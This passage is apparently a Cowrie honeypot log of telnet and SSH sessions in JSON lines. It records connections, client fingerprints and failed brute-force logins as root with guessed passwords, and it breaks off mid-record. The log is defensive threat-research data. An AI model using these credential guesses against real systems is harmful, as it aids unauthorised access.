{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10998,"dst_ip":"10.17.0.5","dst_port":23,"session":"339430068b68","protocol":"telnet","message":"New connection: 34.62.101.89:10998 (10.17.0.5:23) [session: 339430068b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:19.170509Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":11014,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce7e7a4a5577","protocol":"telnet","message":"New connection: 34.62.101.89:11014 (10.17.0.5:23) [session: ce7e7a4a5577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:19.328174Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":11030,"dst_ip":"10.17.0.5","dst_port":23,"session":"033cfa1b508d","protocol":"telnet","message":"New connection: 34.62.101.89:11030 (10.17.0.5:23) [session: 033cfa1b508d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:19.483377Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:19.493101Z","src_ip":"34.62.101.89","session":"033cfa1b508d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":11036,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fa1ae7e530e","protocol":"telnet","message":"New connection: 34.62.101.89:11036 (10.17.0.5:23) [session: 3fa1ae7e530e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:19.647084Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":11040,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d856423333c","protocol":"telnet","message":"New connection: 34.62.101.89:11040 (10.17.0.5:23) [session: 3d856423333c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:19.804866Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":11054,"dst_ip":"10.17.0.5","dst_port":23,"session":"27a14c2a8d53","protocol":"telnet","message":"New connection: 34.62.101.89:11054 (10.17.0.5:23) [session: 27a14c2a8d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:19.961955Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":11056,"dst_ip":"10.17.0.5","dst_port":23,"session":"949f8c436e8c","protocol":"telnet","message":"New connection: 34.62.101.89:11056 (10.17.0.5:23) [session: 949f8c436e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.118093Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":11058,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbbcceaef2e6","protocol":"telnet","message":"New connection: 34.62.101.89:11058 (10.17.0.5:23) [session: dbbcceaef2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.273346Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":11064,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb3afe789438","protocol":"telnet","message":"New connection: 34.62.101.89:11064 (10.17.0.5:23) [session: bb3afe789438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.428562Z"}
{"eventid":"cowrie.session.closed","duration":0.004860639572143555,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.433302Z","src_ip":"34.62.101.89","session":"bb3afe789438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":11080,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeaa65e795b0","protocol":"telnet","message":"New connection: 34.62.101.89:11080 (10.17.0.5:23) [session: aeaa65e795b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.583007Z"}
{"eventid":"cowrie.session.closed","duration":23.56197476387024,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.632490Z","src_ip":"34.62.101.89","session":"a5b8b1958ed9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.40110278129577637,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.674369Z","src_ip":"34.62.101.89","session":"dbbcceaef2e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.5620367527008057,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.679990Z","src_ip":"34.62.101.89","session":"949f8c436e8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7239596843719482,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.685799Z","src_ip":"34.62.101.89","session":"27a14c2a8d53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.891596794128418,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.696328Z","src_ip":"34.62.101.89","session":"3d856423333c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0536952018737793,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.700644Z","src_ip":"34.62.101.89","session":"3fa1ae7e530e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.222076654434204,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.705306Z","src_ip":"34.62.101.89","session":"033cfa1b508d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3826539516448975,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.710495Z","src_ip":"34.62.101.89","session":"ce7e7a4a5577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.546604871749878,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.716723Z","src_ip":"34.62.101.89","session":"339430068b68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7070863246917725,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.720978Z","src_ip":"34.62.101.89","session":"ca2c3f7612ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8666677474975586,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.725354Z","src_ip":"34.62.101.89","session":"79a6b70e7cb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.0301513671875,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.730255Z","src_ip":"34.62.101.89","session":"16e90dcde4b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.1911051273345947,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.734661Z","src_ip":"34.62.101.89","session":"536ea359ee4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.352424383163452,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.739599Z","src_ip":"34.62.101.89","session":"4d6a6720c6ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.512770175933838,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.744024Z","src_ip":"34.62.101.89","session":"dc54586d9ca6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.8349382877349854,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.749166Z","src_ip":"34.62.101.89","session":"1f1a5a0a0831","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.070528268814087,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.753222Z","src_ip":"34.62.101.89","session":"e7345ab38590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.2353484630584717,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.758225Z","src_ip":"34.62.101.89","session":"9b05584d8fad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.39644455909729,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.763604Z","src_ip":"34.62.101.89","session":"5e64fc4b92ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.5561413764953613,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.767873Z","src_ip":"34.62.101.89","session":"a7b927e1292e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.7237367630004883,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.772463Z","src_ip":"34.62.101.89","session":"9aa7f1837f94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.886082649230957,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.776593Z","src_ip":"34.62.101.89","session":"7265f83d9e66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.04712700843811,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.780711Z","src_ip":"34.62.101.89","session":"efb5f705284e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.225736618041992,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.785212Z","src_ip":"34.62.101.89","session":"6d52551bdfca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.393620729446411,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.789546Z","src_ip":"34.62.101.89","session":"7b0b4ea07048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":11086,"dst_ip":"10.17.0.5","dst_port":23,"session":"06bc2374c9f7","protocol":"telnet","message":"New connection: 34.62.101.89:11086 (10.17.0.5:23) [session: 06bc2374c9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.813614Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 2328","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 2328] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.824083Z","src_ip":"34.62.101.89","session":"06bc2374c9f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":11094,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7f0126ea091","protocol":"telnet","message":"New connection: 34.62.101.89:11094 (10.17.0.5:23) [session: a7f0126ea091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.986193Z"}
{"eventid":"cowrie.session.closed","duration":0.013469696044921875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:20.999564Z","src_ip":"34.62.101.89","session":"a7f0126ea091","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.08057165145874,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:32.894117Z","src_ip":"34.62.101.89","session":"06bc2374c9f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.31613826751709,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:32.899006Z","src_ip":"34.62.101.89","session":"aeaa65e795b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":59964,"dst_ip":"10.17.0.5","dst_port":22,"session":"56aa97826885","protocol":"ssh","message":"New connection: 103.149.28.157:59964 (10.17.0.5:22) [session: 56aa97826885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:46.938762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:46.944619Z","src_ip":"103.149.28.157","session":"56aa97826885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:47.227103Z","src_ip":"103.149.28.157","session":"56aa97826885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07071992","message":"login attempt [root/07071992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:48.247241Z","src_ip":"103.149.28.157","session":"56aa97826885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:49.502108Z","src_ip":"103.149.28.157","session":"56aa97826885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:50.770112Z","src_ip":"58.209.82.184","session":"22d236dbd3ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55044,"dst_ip":"159.203.135.109","dst_port":23,"session":"16f8645efb20","protocol":"telnet","message":"New connection: 69.4.83.194:55044 (159.203.135.109:23) [session: 16f8645efb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:07.452983Z"}
{"eventid":"cowrie.session.closed","duration":120.00290894508362,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:19.296467Z","src_ip":"79.139.59.21","session":"77736b2a8199","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":51662,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b71c916d9b8","protocol":"ssh","message":"New connection: 101.47.156.21:51662 (10.17.0.5:22) [session: 9b71c916d9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:33.661486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:33.666331Z","src_ip":"101.47.156.21","session":"9b71c916d9b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:33.906487Z","src_ip":"101.47.156.21","session":"9b71c916d9b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$1234qwer","message":"login attempt [root/!@#$1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:34.898609Z","src_ip":"101.47.156.21","session":"9b71c916d9b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:36.143031Z","src_ip":"101.47.156.21","session":"9b71c916d9b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.27251935005188,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:40.725368Z","src_ip":"69.4.83.194","session":"16f8645efb20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":40656,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c1ea14370f3","protocol":"ssh","message":"New connection: 182.191.77.164:40656 (10.17.0.5:22) [session: 8c1ea14370f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:57.616606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:57.621596Z","src_ip":"182.191.77.164","session":"8c1ea14370f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:57.839263Z","src_ip":"182.191.77.164","session":"8c1ea14370f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q@W#E$R","message":"login attempt [root/1q@W#E$R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:58.739472Z","src_ip":"182.191.77.164","session":"8c1ea14370f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:36:59.960114Z","src_ip":"182.191.77.164","session":"8c1ea14370f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53460,"dst_ip":"159.203.135.109","dst_port":23,"session":"50a595315010","protocol":"telnet","message":"New connection: 69.4.83.194:53460 (159.203.135.109:23) [session: 50a595315010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:37:18.813114Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":48482,"dst_ip":"10.17.0.5","dst_port":23,"session":"808209b9b9c7","protocol":"telnet","message":"New connection: 180.235.129.180:48482 (10.17.0.5:23) [session: 808209b9b9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:37:32.618688Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":48554,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef6d0313c51d","protocol":"telnet","message":"New connection: 180.235.129.180:48554 (10.17.0.5:23) [session: ef6d0313c51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:37:37.942350Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":36150,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e56f6c9dd6","protocol":"ssh","message":"New connection: 20.160.86.7:36150 (10.17.0.5:22) [session: 77e56f6c9dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:37:43.675192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:37:43.679919Z","src_ip":"20.160.86.7","session":"77e56f6c9dd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"enc